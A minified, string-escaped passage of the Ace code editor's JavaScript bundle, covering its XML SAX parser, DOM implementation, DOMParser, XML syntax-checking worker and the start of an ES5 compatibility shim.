h=a,c=null,p=a===\"xmlns\"&&\"\";u.localName=h,p!==!1&&(i==null&&(i={},E(s,s={})),s[p]=i[p]=f,u.uri=\"http://www.w3.org/2000/xmlns/\",t.startPrefixMapping(p,f))}var o=e.length;while(o--){u=e[o];var c=u.prefix;c&&(c===\"xml\"&&(u.uri=\"http://www.w3.org/XML/1998/namespace\"),c!==\"xmlns\"&&(u.uri=s[c]))}var l=r.indexOf(\":\");l>0?(c=e.prefix=r.slice(0,l),h=e.localName=r.slice(l+1)):(c=null,h=e.localName=r);var d=e.uri=s[c||\"\"];t.startElement(d,h,r,e);if(e.closed){t.endElement(d,h,r);if(i)for(c in i)t.endPrefixMapping(c)}else e.currentNSMap=s,e.localNSMap=i,n.push(e)}function b(e,t,n,r,i){if(/^(?:script|textarea)$/i.test(n)){var s=e.indexOf(\"</\"+n+\">\",t),o=e.substring(t+1,s);if(/[&<]/.test(o))return/^script$/i.test(n)?(i.characters(o,0,o.length),s):(o=o.replace(/&#?\\w+;/g,r),i.characters(o,0,o.length),s)}return t+1}function w(e,t,n,r){var i=r[n];return i==null&&(i=r[n]=e.lastIndexOf(\"</\"+n+\">\")),i<t}function E(e,t){for(var n in e)t[n]=e[n]}function S(e,t,n,r){var i=e.charAt(t+2);switch(i){case\"-\":if(e.charAt(t+3)===\"-\"){var s=e.indexOf(\"-->\",t+4);return s>t?(n.comment(e,t+4,s-t-4),s+3):(r.error(\"Unclosed comment\"),-1)}return-1;default:if(e.substr(t+3,6)==\"CDATA[\"){var s=e.indexOf(\"]]>\",t+9);return n.startCDATA(),n.characters(e,t+9,s-t-9),n.endCDATA(),s+3}var o=C(e,t),u=o.length;if(u>1&&/!doctype/i.test(o[0][0])){var a=o[1][0],f=u>3&&/^public$/i.test(o[2][0])&&o[3][0],l=u>4&&o[4][0],c=o[u-1];return n.startDTD(a,f&&f.replace(/^(['\"])(.*?)\\1$/,\"$2\"),l&&l.replace(/^(['\"])(.*?)\\1$/,\"$2\")),n.endDTD(),c.index+c[0].length}}return-1}function x(e,t,n){var r=e.indexOf(\"?>\",t);if(r){var i=e.substring(t,r).match(/^<\\?(\\S*)\\s*([\\s\\S]*?)\\s*$/);if(i){var s=i[0].length;return n.processingInstruction(i[1],i[2]),r+2}return-1}return-1}function T(e){}function N(e,t){return e.__proto__=t,e}function C(e,t){var n,r=[],i=/'[^']+'|\"[^\"]+\"|[^\\s<>\\/=]+=?|(\\/?\\s*>|<)/g;i.lastIndex=t,i.exec(e);while(n=i.exec(e)){r.push(n);if(n[1])return r}}var r=/[A-Z_a-z\\xC0-\\xD6\\xD8-\\xF6\\u00F8-\\u02FF\\u0370-\\u037D\\u037F-\\u1FFF\\u200C-\\u200D\\u2070-\\u218F\\u2C00-\\u2FEF\\u3001-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFFD]/,i=new RegExp(\"[\\\\-\\\\.0-9\"+r.source.slice(1,-1)+\"\\u00b7\\u0300-\\u036f\\\\ux203F-\\u2040]\"),s=new RegExp(\"^\"+r.source+i.source+\"*(?::\"+r.source+i.source+\"*)?$\"),o=0,u=1,a=2,f=3,l=4,c=5,h=6,p=7;return d.prototype={parse:function(e,t,n){var r=this.domBuilder;r.startDocument(),E(t,t={}),v(e,t,n,r,this.errorHandler),r.endDocument()}},T.prototype={setTagName:function(e){if(!s.test(e))throw new Error(\"invalid tagName:\"+e);this.tagName=e},add:function(e,t,n){if(!s.test(e))throw new Error(\"invalid attribute:\"+e);this[this.length++]={qName:e,value:t,offset:n}},length:0,getLocalName:function(e){return this[e].localName},getOffset:function(e){return this[e].offset},getQName:function(e){return this[e].qName},getURI:function(e){return this[e].uri},getValue:function(e){return this[e].value}},N({},N.prototype)instanceof N||(N=function(e,t){function n(){}n.prototype=t,n=new n;for(t in e)n[t]=e[t];return n}),d}),ace.define(\"ace/mode/xml/dom\",[\"require\",\"exports\",\"module\"],function(e,t,n){function r(e,t){for(var n in e)t[n]=e[n]}function i(e,t){var n=e.prototype;if(Object.create){var i=Object.create(t.prototype);n.__proto__=i}if(!(n instanceof t)){function s(){}s.prototype=t.prototype,s=new s,r(n,s),e.prototype=n=s}n.constructor!=e&&(typeof e!=\"function\"&&console.error(\"unknow Class:\"+e),n.constructor=e)}function B(e,t){if(t instanceof Error)var n=t;else n=this,Error.call(this,w[e]),this.message=w[e],Error.captureStackTrace&&Error.captureStackTrace(this,B);return n.code=e,t&&(this.message=this.message+\": \"+t),n}function j(){}function F(e,t){this._node=e,this._refresh=t,I(this)}function I(e){var t=e._node._inc||e._node.ownerDocument._inc;if(e._inc!=t){var n=e._refresh(e._node);gt(e,\"length\",n.length),r(n,e),e._inc=t}}function q(){}function R(e,t){var n=e.length;while(n--)if(e[n]===t)return n}function U(e,t,n,r){r?t[R(t,r)]=n:t[t.length++]=n;if(e){n.ownerElement=e;var i=e.ownerDocument;i&&(r&&Q(i,e,r),K(i,e,n))}}function z(e,t,n){var r=R(t,n);if(!(r>=0))throw B(L,new Error);var i=t.length-1;while(r<i)t[r]=t[++r];t.length=i;if(e){var s=e.ownerDocument;s&&(Q(s,e,n),n.ownerElement=null)}}function W(e){this._features={};if(e)for(var t in e)this._features=e[t]}function X(){}function V(e){return e==\"<\"&&\"&lt;\"||e==\">\"&&\"&gt;\"||e==\"&\"&&\"&amp;\"||e=='\"'&&\"&quot;\"||\"&#\"+e.charCodeAt()+\";\"}function $(e,t){if(t(e))return!0;if(e=e.firstChild)do if($(e,t))return!0;while(e=e.nextSibling)}function J(){}function K(e,t,n){e&&e._inc++;var r=n.namespaceURI;r==\"http://www.w3.org/2000/xmlns/\"&&(t._nsMap[n.prefix?n.localName:\"\"]=n.value)}function Q(e,t,n,r){e&&e._inc++;var i=n.namespaceURI;i==\"http://www.w3.org/2000/xmlns/\"&&delete t._nsMap[n.prefix?n.localName:\"\"]}function G(e,t,n){if(e&&e._inc){e._inc++;var r=t.childNodes;if(n)r[r.length++]=n;else{var i=t.firstChild,s=0;while(i)r[s++]=i,i=i.nextSibling;r.length=s}}}function Y(e,t){var n=t.previousSibling,r=t.nextSibling;return n?n.nextSibling=r:e.firstChild=r,r?r.previousSibling=n:e.lastChild=n,G(e.ownerDocument,e),t}function Z(e,t,n){var r=t.parentNode;r&&r.removeChild(t);if(t.nodeType===g){var i=t.firstChild;if(i==null)return t;var s=t.lastChild}else i=s=t;var o=n?n.previousSibling:e.lastChild;i.previousSibling=o,s.nextSibling=n,o?o.nextSibling=i:e.firstChild=i,n==null?e.lastChild=s:n.previousSibling=s;do i.parentNode=e;while(i!==s&&(i=i.nextSibling));return G(e.ownerDocument||e,e),t.nodeType==g&&(t.firstChild=t.lastChild=null),t}function et(e,t){var n=t.parentNode;if(n){var r=e.lastChild;n.removeChild(t);var r=e.lastChild}var r=e.lastChild;return t.parentNode=e,t.previousSibling=r,t.nextSibling=null,r?r.nextSibling=t:e.firstChild=t,e.lastChild=t,G(e.ownerDocument,e,t),t}function tt(){this._nsMap={}}function nt(){}function rt(){}function it(){}function st(){}function ot(){}function ut(){}function at(){}function ft(){}function lt(){}function ct(){}function ht(){}function pt(){}function dt(e,t){switch(e.nodeType){case u:var n=e.attributes,r=n.length,i=e.firstChild,o=e.tagName,h=s===e.namespaceURI;t.push(\"<\",o);for(var y=0;y<r;y++)dt(n.item(y),t,h);if(i||h&&!/^(?:meta|link|img|br|hr|input|button)$/i.test(o)){t.push(\">\");if(h&&/^script$/i.test(o))i&&t.push(i.data);else while(i)dt(i,t),i=i.nextSibling;t.push(\"</\",o,\">\")}else t.push(\"/>\");return;case v:case g:var i=e.firstChild;while(i)dt(i,t),i=i.nextSibling;return;case a:return t.push(\" \",e.name,'=\"',e.value.replace(/[<&\"]/g,V),'\"');case f:return t.push(e.data.replace(/[<&]/g,V));case l:return t.push(\"<![CDATA[\",e.data,\"]]>\");case d:return t.push(\"<!--\",e.data,\"-->\");case m:var b=e.publicId,w=e.systemId;t.push(\"<!DOCTYPE \",e.name);if(b)t.push(' PUBLIC \"',b),w&&w!=\".\"&&t.push('\" \"',w),t.push('\">');else if(w&&w!=\".\")t.push(' SYSTEM \"',w,'\">');else{var E=e.internalSubset;E&&t.push(\" [\",E,\"]\"),t.push(\">\")}return;case p:return t.push(\"<?\",e.target,\" \",e.data,\"?>\");case c:return t.push(\"&\",e.nodeName,\";\");default:t.push(\"??\",e.nodeName)}}function vt(e,t,n){var r;switch(t.nodeType){case u:r=t.cloneNode(!1),r.ownerDocument=e;case g:break;case a:n=!0}r||(r=t.cloneNode(!1)),r.ownerDocument=e,r.parentNode=null;if(n){var i=t.firstChild;while(i)r.appendChild(vt(e,i,n)),i=i.nextSibling}return r}function mt(e,t,n){var r=new t.constructor;for(var i in t){var s=t[i];typeof s!=\"object\"&&s!=r[i]&&(r[i]=s)}t.childNodes&&(r.childNodes=new j),r.ownerDocument=e;switch(r.nodeType){case u:var o=t.attributes,f=r.attributes=new q,l=o.length;f._ownerElement=r;for(var c=0;c<l;c++)r.setAttributeNode(mt(e,o.item(c),!0));break;case a:n=!0}if(n){var h=t.firstChild;while(h)r.appendChild(mt(e,h,n)),h=h.nextSibling}return r}function gt(e,t,n){e[t]=n}var s=\"http://www.w3.org/1999/xhtml\",o={},u=o.ELEMENT_NODE=1,a=o.ATTRIBUTE_NODE=2,f=o.TEXT_NODE=3,l=o.CDATA_SECTION_NODE=4,c=o.ENTITY_REFERENCE_NODE=5,h=o.ENTITY_NODE=6,p=o.PROCESSING_INSTRUCTION_NODE=7,d=o.COMMENT_NODE=8,v=o.DOCUMENT_NODE=9,m=o.DOCUMENT_TYPE_NODE=10,g=o.DOCUMENT_FRAGMENT_NODE=11,y=o.NOTATION_NODE=12,b={},w={},E=b.INDEX_SIZE_ERR=(w[1]=\"Index size error\",1),S=b.DOMSTRING_SIZE_ERR=(w[2]=\"DOMString size error\",2),x=b.HIERARCHY_REQUEST_ERR=(w[3]=\"Hierarchy request error\",3),T=b.WRONG_DOCUMENT_ERR=(w[4]=\"Wrong document\",4),N=b.INVALID_CHARACTER_ERR=(w[5]=\"Invalid character\",5),C=b.NO_DATA_ALLOWED_ERR=(w[6]=\"No data allowed\",6),k=b.NO_MODIFICATION_ALLOWED_ERR=(w[7]=\"No modification allowed\",7),L=b.NOT_FOUND_ERR=(w[8]=\"Not found\",8),A=b.NOT_SUPPORTED_ERR=(w[9]=\"Not supported\",9),O=b.INUSE_ATTRIBUTE_ERR=(w[10]=\"Attribute in use\",10),M=b.INVALID_STATE_ERR=(w[11]=\"Invalid state\",11),_=b.SYNTAX_ERR=(w[12]=\"Syntax error\",12),D=b.INVALID_MODIFICATION_ERR=(w[13]=\"Invalid modification\",13),P=b.NAMESPACE_ERR=(w[14]=\"Invalid namespace\",14),H=b.INVALID_ACCESS_ERR=(w[15]=\"Invalid access\",15);B.prototype=Error.prototype,r(b,B),j.prototype={length:0,item:function(e){return this[e]||null}},F.prototype.item=function(e){return I(this),this[e]},i(F,j),q.prototype={length:0,item:j.prototype.item,getNamedItem:function(e){var t=this.length;while(t--){var n=this[t];if(n.nodeName==e)return n}},setNamedItem:function(e){var t=e.ownerElement;if(t&&t!=this._ownerElement)throw new B(O);var n=this.getNamedItem(e.nodeName);return U(this._ownerElement,this,e,n),n},setNamedItemNS:function(e){var t=e.ownerElement,n;if(t&&t!=this._ownerElement)throw new B(O);return n=this.getNamedItemNS(e.namespaceURI,e.localName),U(this._ownerElement,this,e,n),n},removeNamedItem:function(e){var t=this.getNamedItem(e);return z(this._ownerElement,this,t),t},removeNamedItemNS:function(e,t){var n=this.getNamedItemNS(e,t);return z(this._ownerElement,this,n),n},getNamedItemNS:function(e,t){var n=this.length;while(n--){var r=this[n];if(r.localName==t&&r.namespaceURI==e)return r}return null}},W.prototype={hasFeature:function(e,t){var n=this._features[e.toLowerCase()];return n&&(!t||t in n)?!0:!1},createDocument:function(e,t,n){var r=new J;r.implementation=this,r.childNodes=new j,r.doctype=n,n&&r.appendChild(n);if(t){var i=r.createElementNS(e,t);r.appendChild(i)}return r},createDocumentType:function(e,t,n){var r=new ut;return r.name=e,r.nodeName=e,r.publicId=t,r.systemId=n,r}},X.prototype={firstChild:null,lastChild:null,previousSibling:null,nextSibling:null,attributes:null,parentNode:null,childNodes:null,ownerDocument:null,nodeValue:null,namespaceURI:null,prefix:null,localName:null,insertBefore:function(e,t){return Z(this,e,t)},replaceChild:function(e,t){this.insertBefore(e,t),t&&this.removeChild(t)},removeChild:function(e){return Y(this,e)},appendChild:function(e){return this.insertBefore(e,null)},hasChildNodes:function(){return this.firstChild!=null},cloneNode:function(e){return mt(this.ownerDocument||this,this,e)},normalize:function(){var e=this.firstChild;while(e){var t=e.nextSibling;t&&t.nodeType==f&&e.nodeType==f?(this.removeChild(t),e.appendData(t.data)):(e.normalize(),e=t)}},isSupported:function(e,t){return this.ownerDocument.implementation.hasFeature(e,t)},hasAttributes:function(){return this.attributes.length>0},lookupPrefix:function(e){var t=this;while(t){var n=t._nsMap;if(n)for(var r in n)if(n[r]==e)return r;t=t.nodeType==2?t.ownerDocument:t.parentNode}return null},lookupNamespaceURI:function(e){var t=this;while(t){var n=t._nsMap;if(n&&e in n)return n[e];t=t.nodeType==2?t.ownerDocument:t.parentNode}return null},isDefaultNamespace:function(e){var t=this.lookupPrefix(e);return t==null}},r(o,X),r(o,X.prototype),J.prototype={nodeName:\"#document\",nodeType:v,doctype:null,documentElement:null,_inc:1,insertBefore:function(e,t){if(e.nodeType==g){var n=e.firstChild;while(n){var r=n.nextSibling;this.insertBefore(n,t),n=r}return e}return this.documentElement==null&&e.nodeType==1&&(this.documentElement=e),Z(this,e,t),e.ownerDocument=this,e},removeChild:function(e){return this.documentElement==e&&(this.documentElement=null),Y(this,e)},importNode:function(e,t){return vt(this,e,t)},getElementById:function(e){var t=null;return $(this.documentElement,function(n){if(n.nodeType==1&&n.getAttribute(\"id\")==e)return t=n,!0}),t},createElement:function(e){var t=new tt;t.ownerDocument=this,t.nodeName=e,t.tagName=e,t.childNodes=new j;var n=t.attributes=new q;return n._ownerElement=t,t},createDocumentFragment:function(){var e=new ct;return e.ownerDocument=this,e.childNodes=new j,e},createTextNode:function(e){var t=new it;return t.ownerDocument=this,t.appendData(e),t},createComment:function(e){var t=new st;return t.ownerDocument=this,t.appendData(e),t},createCDATASection:function(e){var t=new ot;return t.ownerDocument=this,t.appendData(e),t},createProcessingInstruction:function(e,t){var n=new ht;return n.ownerDocument=this,n.tagName=n.target=e,n.nodeValue=n.data=t,n},createAttribute:function(e){var t=new nt;return t.ownerDocument=this,t.name=e,t.nodeName=e,t.localName=e,t.specified=!0,t},createEntityReference:function(e){var t=new lt;return t.ownerDocument=this,t.nodeName=e,t},createElementNS:function(e,t){var n=new tt,r=t.split(\":\"),i=n.attributes=new q;return n.childNodes=new j,n.ownerDocument=this,n.nodeName=t,n.tagName=t,n.namespaceURI=e,r.length==2?(n.prefix=r[0],n.localName=r[1]):n.localName=t,i._ownerElement=n,n},createAttributeNS:function(e,t){var n=new nt,r=t.split(\":\");return n.ownerDocument=this,n.nodeName=t,n.name=t,n.namespaceURI=e,n.specified=!0,r.length==2?(n.prefix=r[0],n.localName=r[1]):n.localName=t,n}},i(J,X),tt.prototype={nodeType:u,hasAttribute:function(e){return this.getAttributeNode(e)!=null},getAttribute:function(e){var t=this.getAttributeNode(e);return t&&t.value||\"\"},getAttributeNode:function(e){return this.attributes.getNamedItem(e)},setAttribute:function(e,t){var n=this.ownerDocument.createAttribute(e);n.value=n.nodeValue=\"\"+t,this.setAttributeNode(n)},removeAttribute:function(e){var t=this.getAttributeNode(e);t&&this.removeAttributeNode(t)},appendChild:function(e){return e.nodeType===g?this.insertBefore(e,null):et(this,e)},setAttributeNode:function(e){return this.attributes.setNamedItem(e)},setAttributeNodeNS:function(e){return this.attributes.setNamedItemNS(e)},removeAttributeNode:function(e){return this.attributes.removeNamedItem(e.nodeName)},removeAttributeNS:function(e,t){var n=this.getAttributeNodeNS(e,t);n&&this.removeAttributeNode(n)},hasAttributeNS:function(e,t){return this.getAttributeNodeNS(e,t)!=null},getAttributeNS:function(e,t){var n=this.getAttributeNodeNS(e,t);return n&&n.value||\"\"},setAttributeNS:function(e,t,n){var r=this.ownerDocument.createAttributeNS(e,t);r.value=r.nodeValue=\"\"+n,this.setAttributeNode(r)},getAttributeNodeNS:function(e,t){return this.attributes.getNamedItemNS(e,t)},getElementsByTagName:function(e){return new F(this,function(t){var n=[];return $(t,function(r){r!==t&&r.nodeType==u&&(e===\"*\"||r.tagName==e)&&n.push(r)}),n})},getElementsByTagNameNS:function(e,t){return new F(this,function(n){var r=[];return $(n,function(i){i!==n&&i.nodeType===u&&(e===\"*\"||i.namespaceURI===e)&&(t===\"*\"||i.localName==t)&&r.push(i)}),r})}},J.prototype.getElementsByTagName=tt.prototype.getElementsByTagName,J.prototype.getElementsByTagNameNS=tt.prototype.getElementsByTagNameNS,i(tt,X),nt.prototype.nodeType=a,i(nt,X),rt.prototype={data:\"\",substringData:function(e,t){return this.data.substring(e,e+t)},appendData:function(e){e=this.data+e,this.nodeValue=this.data=e,this.length=e.length},insertData:function(e,t){this.replaceData(e,0,t)},appendChild:function(e){throw new Error(w[3])},deleteData:function(e,t){this.replaceData(e,t,\"\")},replaceData:function(e,t,n){var r=this.data.substring(0,e),i=this.data.substring(e+t);n=r+n+i,this.nodeValue=this.data=n,this.length=n.length}},i(rt,X),it.prototype={nodeName:\"#text\",nodeType:f,splitText:function(e){var t=this.data,n=t.substring(e);t=t.substring(0,e),this.data=this.nodeValue=t,this.length=t.length;var r=this.ownerDocument.createTextNode(n);return this.parentNode&&this.parentNode.insertBefore(r,this.nextSibling),r}},i(it,rt),st.prototype={nodeName:\"#comment\",nodeType:d},i(st,rt),ot.prototype={nodeName:\"#cdata-section\",nodeType:l},i(ot,rt),ut.prototype.nodeType=m,i(ut,X),at.prototype.nodeType=y,i(at,X),ft.prototype.nodeType=h,i(ft,X),lt.prototype.nodeType=c,i(lt,X),ct.prototype.nodeName=\"#document-fragment\",ct.prototype.nodeType=g,i(ct,X),ht.prototype.nodeType=p,i(ht,X),pt.prototype.serializeToString=function(e){var t=[];return dt(e,t),t.join(\"\")},X.prototype.toString=function(){return pt.prototype.serializeToString(this)};try{if(Object.defineProperty){Object.defineProperty(F.prototype,\"length\",{get:function(){return I(this),this.$$length}}),Object.defineProperty(X.prototype,\"textContent\",{get:function(){return yt(this)},set:function(e){switch(this.nodeType){case 1:case 11:while(this.firstChild)this.removeChild(this.firstChild);(e||String(e))&&this.appendChild(this.ownerDocument.createTextNode(e));break;default:this.data=e,this.value=value,this.nodeValue=e}}});function yt(e){switch(e.nodeType){case 1:case 11:var t=[];e=e.firstChild;while(e)e.nodeType!==7&&e.nodeType!==8&&t.push(yt(e)),e=e.nextSibling;return t.join(\"\");default:return e.nodeValue}}gt=function(e,t,n){e[\"$$\"+t]=n}}}catch(bt){}return W}),ace.define(\"ace/mode/xml/dom-parser\",[\"require\",\"exports\",\"module\",\"ace/mode/xml/sax\",\"ace/mode/xml/dom\"],function(e,t,n){\"use strict\";function s(e){this.options=e||{locator:{}}}function o(e,t,n){function s(t){var s=e[t];if(!s)if(i)s=e.length==2?function(n){e(t,n)}:e;else{var o=arguments.length;while(--o)if(s=e[arguments[o]])break}r[t]=s&&function(e){s(e+f(n),e,n)}||function(){}}if(!e){if(t instanceof u)return t;e=t}var r={},i=e instanceof Function;return n=n||{},s(\"warning\",\"warn\"),s(\"error\",\"warn\",\"warning\"),s(\"fatalError\",\"warn\",\"warning\",\"error\"),r}function u(){this.cdata=!1}function a(e,t){t.lineNumber=e.lineNumber,t.columnNumber=e.columnNumber}function f(e){if(e)return\"\\n@\"+(e.systemId||\"\")+\"#[line:\"+e.lineNumber+\",col:\"+e.columnNumber+\"]\"}function l(e,t,n){return typeof e==\"string\"?e.substr(t,n):e.length>=t+n||t?new java.lang.String(e,t,n)+\"\":e}function c(e,t){e.currentElement?e.currentElement.appendChild(t):e.document.appendChild(t)}var r=e(\"./sax\"),i=e(\"./dom\");return s.prototype.parseFromString=function(e,t){var n=this.options,i=new r,s=n.domBuilder||new u,a=n.errorHandler,f=n.locator,l=n.xmlns||{},c={lt:\"<\",gt:\">\",amp:\"&\",quot:'\"',apos:\"'\"};return f&&s.setDocumentLocator(f),i.errorHandler=o(a,s,f),i.domBuilder=n.domBuilder||s,/\\/x?html?$/.test(t)&&(c.nbsp=\"\\u00a0\",c.copy=\"\\u00a9\",l[\"\"]=\"http://www.w3.org/1999/xhtml\"),e?i.parse(e,l,c):i.errorHandler.error(\"invalid document source\"),s.document},u.prototype={startDocument:function(){this.document=(new i).createDocument(null,null,null),this.locator&&(this.document.documentURI=this.locator.systemId)},startElement:function(e,t,n,r){var i=this.document,s=i.createElementNS(e,n||t),o=r.length;c(this,s),this.currentElement=s,this.locator&&a(this.locator,s);for(var u=0;u<o;u++){var e=r.getURI(u),f=r.getValue(u),n=r.getQName(u),l=i.createAttributeNS(e,n);l.getOffset&&a(l.getOffset(1),l),l.value=l.nodeValue=f,s.setAttributeNode(l)}},endElement:function(e,t,n){var r=this.currentElement,i=r.tagName;this.currentElement=r.parentNode},startPrefixMapping:function(e,t){},endPrefixMapping:function(e){},processingInstruction:function(e,t){var n=this.document.createProcessingInstruction(e,t);this.locator&&a(this.locator,n),c(this,n)},ignorableWhitespace:function(e,t,n){},characters:function(e,t,n){e=l.apply(this,arguments);if(this.currentElement&&e){if(this.cdata){var r=this.document.createCDATASection(e);this.currentElement.appendChild(r)}else{var r=this.document.createTextNode(e);this.currentElement.appendChild(r)}this.locator&&a(this.locator,r)}},skippedEntity:function(e){},endDocument:function(){this.document.normalize()},setDocumentLocator:function(e){if(this.locator=e)e.lineNumber=0},comment:function(e,t,n){e=l.apply(this,arguments);var r=this.document.createComment(e);this.locator&&a(this.locator,r),c(this,r)},startCDATA:function(){this.cdata=!0},endCDATA:function(){this.cdata=!1},startDTD:function(e,t,n){var r=this.document.implementation;if(r&&r.createDocumentType){var i=r.createDocumentType(e,t,n);this.locator&&a(this.locator,i),c(this,i)}},warning:function(e){console.warn(e,f(this.locator))},error:function(e){console.error(e,f(this.locator))},fatalError:function(e){throw console.error(e,f(this.locator)),e}},\"endDTD,startEntity,endEntity,attributeDecl,elementDecl,externalEntityDecl,internalEntityDecl,resolveEntity,getExternalSubset,notationDecl,unparsedEntityDecl\".replace(/\\w+/g,function(e){u.prototype[e]=function(){return null}}),{DOMParser:s}}),ace.define(\"ace/mode/xml_worker\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/worker/mirror\",\"ace/mode/xml/dom-parser\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"../worker/mirror\").Mirror,o=e(\"./xml/dom-parser\").DOMParser,u=t.Worker=function(e){s.call(this,e),this.setTimeout(400),this.context=null};r.inherits(u,s),function(){this.setOptions=function(e){this.context=e.context},this.onUpdate=function(){var e=this.doc.getValue();if(!e)return;var t=new o,n=[];t.options.errorHandler={fatalError:function(e,t,r){n.push({row:r.lineNumber,column:r.columnNumber,text:t,type:\"error\"})},error:function(e,t,r){n.push({row:r.lineNumber,column:r.columnNumber,text:t,type:\"error\"})},warning:function(e,t,r){n.push({row:r.lineNumber,column:r.columnNumber,text:t,type:\"warning\"})}},t.parseFromString(e),this.sender.emit(\"error\",n)}}.call(u.prototype)}),ace.define(\"ace/lib/es5-shim\",[\"require\",\"exports\",\"module\"],function(e,t,n){function r(){}function w(e){try{return Object.defineProperty(e,\"sentinel\",{}),\"sentinel\"in e}catch(t){}}function H(e){return e=+e,e!==e?e=0:e!==0&&e!==1/0&&e!==-1/0&&(e=(e>0||-1)*Math.floor(Math.abs(e))),e}function B(e){var t=typeof e;return e===null||t===\"undefined\"||t===\"boolean\"||t===\"number\"||t===\"string\"}function j(e){var t,n,r;if(B(e))return e;n=e.valueOf;if(typeof n==\"function\"){t=n.call(e);if(B(t))return t}r=e.toString;if(typeof r==\"function\"){t=r.call(e);if(B(t))return t}throw new TypeError}Function.prototype.bind||(Function.prototype.bind=function(t){var n=this;if(typeof n!=\"function\")throw new TypeError(\"Function.prototype.bind called on incompatible \"+n);var i=u.call(arguments,1),s=function(){if(this instanceof s){var e=n.apply(this,i.concat(u.call(arguments)));return Object(e)===e?e:this}return n.apply(t,i.concat(u.call(arguments)))};return n.prototype&&(r.prototype=n.prototype,s.prototype=new r,r.prototype=null),s});var i=Function.prototype.call,s=Array.prototype,o=Object.prototype,u=s.slice,a=i.bind(o.toString),f=i.bind(o.hasOwnProperty),l,c,h,p,d;if(d=f(o,\"__defineGetter__\"))l=i.bind(o.__defineGetter__),c=i.bind(o.__defineSetter__),h=i.bind(o.__lookupGetter__),p=i.bind(o.__lookupSetter__);if([1,2].splice(0).length!=2)if(!function(){function e(e){var t=new Array(e+2);return t[0]=t[1]=0,t}var t=[],n;t.splice.apply(t,e(20)),t.splice.apply(t,e(26)),n=t.length,t.splice(5,0,\"XXX\"),n+1==t.length;if(n+1==t.length)return!0}())Array.prototype.splice=function(e,t){var n=this.length;e>0?e>n&&(e=n):e==void 0?e=0:e<0&&(e=Math.max(n+e,0)),e+t<n||(t=n-e);var r=this.slice(e,e+t),i=u.call(arguments,2),s=i.length;if(e===n)s&&this.push.apply(this,i);else{var o=Math.min(t,n-e),a=e+o,f=a+s-o,l=n-a,c=n-o;if(f<a)for(var h=0;h<l;++h)this[f+h]=this[a+h];else if(f>a)for(h=l;h--;)this[f+h]=this[a+h];if(s&&e===c)this.length=c,this.push.apply(this,i);else{this.length=c+s;for(h=0;h<s;++h)this[e+h]=i[h]}}return r};else{var v=Array.prototype.splice;Array.prototype.splice=function(e,t){return arguments.length?v.apply(this,[e===void 0?0:e,t===void 0?this.length-e:t].concat(u.call(arguments,2))):[]}}Array.isArray||(Array.isArray=function(t){return a(t)==\"[object Array]\"});var m=Object(\"a\"),g=m[0]!=\"a\"||!(0 in m);Array.prototype.forEach||(Array.prototype.forEach=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=arguments[1],s=-1,o=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError;while(++s<o)s in r&&t.call(i,r[s],s,n)}),Array.prototype.map||(Array.prototype.map=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=Array(i),o=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var u=0;u<i;u++)u in r&&(s[u]=t.call(o,r[u],u,n));return s}),Array.prototype.filter||(Array.prototype.filter=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=[],o,u=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var f=0;f<i;f++)f in r&&(o=r[f],t.call(u,o,f,n)&&s.push(o));return s}),Array.prototype.every||(Array.prototype.every=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&!t.call(s,r[o],o,n))return!1;return!0}),Array.prototype.some||(Array.prototype.some=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0,s=arguments[1];if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");for(var o=0;o<i;o++)if(o in r&&t.call(s,r[o],o,n))return!0;return!1}),Array.prototype.reduce||(Array.prototype.reduce=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduce of empty array with no initial value\");var s=0,o;if(arguments.length>=2)o=arguments[1];else do{if(s in r){o=r[s++];break}if(++s>=i)throw new TypeError(\"reduce of empty array with no initial value\")}while(!0);for(;s<i;s++)s in r&&(o=t.call(void 0,o,r[s],s,n));return o}),Array.prototype.reduceRight||(Array.prototype.reduceRight=function(t){var n=F(this),r=g&&a(this)==\"[object String]\"?this.split(\"\"):n,i=r.length>>>0;if(a(t)!=\"[object Function]\")throw new TypeError(t+\" is not a function\");if(!i&&arguments.length==1)throw new TypeError(\"reduceRight of empty array with no initial value\");var s,o=i-1;if(arguments.length>=2)s=arguments[1];else do{if(o in r){s=r[o--];break}if(--o<0)throw new TypeError(\"reduceRight of empty array with no initial value\")}while(!0);do o in this&&(s=t.call(void 0,s,r[o],o,n));while(o--);return s});if(!Array.prototype.indexOf||[0,1].indexOf(1,2)!=-1)Array.prototype.indexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=0;arguments.length>1&&(i=H(arguments[1])),i=i>=0?i:Math.max(0,r+i);for(;i<r;i++)if(i in n&&n[i]===t)return i;return-1};if(!Array.prototype.lastIndexOf||[0,1].lastIndexOf(0,-3)!=-1)Array.prototype.lastIndexOf=function(t){var n=g&&a(this)==\"[object String]\"?this.split(\"\"):F(this),r=n.length>>>0;if(!r)return-1;var i=r-1;arguments.length>1&&(i=Math.min(i,H(arguments[1]))),i=i>=0?i:r-Math.abs(i);for(;i>=0;i--)if(i in n&&t===n[i])return i;return-1};Object.getPrototypeOf||(Object.getPrototypeOf=function(t){return t.__proto__||(t.constructor?t.constructor.prototype:o)});if(!Object.getOwnPropertyDescriptor){var y=\"Object.getOwnPropertyDescriptor called on a non-object: \";Object.getOwnPropertyDescriptor=function(t,n){if(typeof t!=\"object\"&&typeof 